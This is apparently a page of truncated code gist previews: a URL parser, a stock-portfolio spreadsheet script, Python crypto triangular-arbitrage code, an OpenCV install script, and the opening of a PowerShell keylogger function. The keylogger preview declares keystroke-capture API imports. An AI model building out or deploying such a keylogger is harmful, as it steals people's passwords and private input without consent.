This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var parser = document.createElement('a'); | |
parser.href = "http://example.com:3000/pathname/?search=test#hash"; | |
parser.protocol; // => "http:" | |
parser.hostname; // => "example.com" | |
parser.port; // => "3000" | |
parser.pathname; // => "/pathname/" | |
parser.search; // => "?search=test" | |
parser.hash; // => "#hash" | |
parser.host; // => "example.com:3000" |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* Stock Portfolio Management App Script for Google Spreadsheet | |
* | |
* v0.1 | |
* | |
* The script creates two sheets when your first run it. You can enter your transactions | |
* in the sheet named "Transactions", e.g. GOOG, 540.3, 100, Buy. Selecting "Update Stock Info" | |
* from Finance menu populates the summary sheet with a summary of your portfolio. | |
* | |
* Author: Jiayao Yu |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
INVESTMENT_AMOUNT_DOLLARS = 100 | |
MIN_PROFIT_DOLLARS = 0.5 | |
BROKERAGE_PER_TRANSACTION_PERCENT = 0.2 | |
while(1): | |
for combination in wx_combinations_usdt: | |
base = combination['base'] | |
intermediate = combination['intermediate'] | |
ticker = combination['ticker'] | |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def perform_triangular_arbitrage(scrip1, scrip2, scrip3, arbitrage_type,initial_investment, | |
transaction_brokerage, min_profit): | |
final_price = 0.0 | |
if(arbitrage_type == 'BUY_BUY_SELL'): | |
# Check this combination for triangular arbitrage: scrip1 - BUY, scrip2 - BUY, scrip3 - SELL | |
final_price, scrip_prices = check_buy_buy_sell(scrip1, scrip2, scrip3,initial_investment) | |
elif(arbitrage_type == 'BUY_SELL_SELL'): | |
# Check this combination for triangular arbitrage: scrip1 - BUY, scrip2 - SELL, scrip3 - SELL | |
final_price, scrip_prices = check_buy_sell_sell(scrip1, scrip2, scrip3,initial_investment) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def main(): | |
start_time = time() | |
csvfile = open('arbitrage', 'w', newline='', encoding='UTF8') | |
result_writer = csv.writer(csvfile, delimiter=',') | |
n = 0 | |
while n < ITERATIONS: | |
n += 1 | |
prices = get_prices() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from collections import defaultdict | |
from operator import itemgetter | |
from time import time | |
import config, csv | |
from binance.client import Client | |
FEE = 0.00075 # Binance VIP0 level spot-trade transaction fee for "Taker" (limit order) | |
ITERATIONS = 5000 # iterations to run | |
PRIMARY = ['ETH', 'USDT', 'BTC', 'BNB', 'ADA', 'SOL', 'LINK', 'LTC', 'UNI', 'XTZ'] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
FEE = 0.00075 # Binance VIP0 level spot-trade transaction fee for "Taker" (limit order) | |
ITERATIONS = 5000 # iterations to run | |
PRIMARY = ['ETH', 'USDT', 'BTC', 'BNB', 'ADA', 'SOL', 'LINK', 'LTC', 'UNI', 'XTZ'] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
def find_triangles(prices): | |
triangles = [] | |
starting_coin = 'USDT' | |
for triangle in recurse_triangle(prices, starting_coin, starting_coin): | |
coins = set(triangle['coins']) | |
if not any(prev_triangle == coins for prev_triangle in triangles): | |
yield triangle | |
triangles.append(coins) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#requires -Version 2 | |
function Start-KeyLogger($Path="$env:temp\keylogger.txt") | |
{ | |
# Signatures for API Calls | |
$signatures = @' | |
[DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)] | |
public static extern short GetAsyncKeyState(int virtualKeyCode); | |
[DllImport("user32.dll", CharSet=CharSet.Auto)] | |
public static extern int GetKeyboardState(byte[] keystate); | |
[DllImport("user32.dll", CharSet=CharSet.Auto)] |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Forked by hand from https://raw.githubusercontent.com/milq/milq/master/scripts/bash/install-opencv.sh | |
# KEEP UBUNTU OR DEBIAN UP TO DATE | |
sudo apt-get -y update | |
sudo apt-get -y upgrade | |
sudo apt-get -y dist-upgrade | |
sudo apt-get -y autoremove | |
# INSTALL THE DEPENDENCIES |